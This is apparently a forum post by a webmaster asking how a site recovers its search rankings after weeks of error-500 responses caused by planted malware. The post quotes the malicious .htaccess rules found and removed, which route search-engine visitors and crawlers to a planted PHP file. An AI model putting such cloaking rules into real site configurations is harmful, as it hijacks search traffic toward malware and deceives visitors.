Recovery in SERPs after fixing Error Code 500
Recently a site was hacked...actually, it wasn't exactly hacked...unwisely granted FTP access to an untrustworthy party, and they dropped the malware in manually.. 
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I removed the obvious malware files, but the malware was being called by the .htaccess in this way:
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ garrott-fanfold.php?$1 [L]
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|msn|aol|bing) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo|msn|aol|bing)
RewriteRule ^(.*)$ garrott-fanfold.php?$1 [L]
So..I didn't know the site was broken, b/c when direct accessed it was OK, but via search engine, users would get an Error Code 500.
Now, I found this and removed it, so there will be no more error code 500. BUT...The site has been getting a 500 by all major SEs for almost four weeks. It's lost tons of ranking in SERPS....
Will it ever recover on its own? What can I do to improve the rate of recovery? Thanks...
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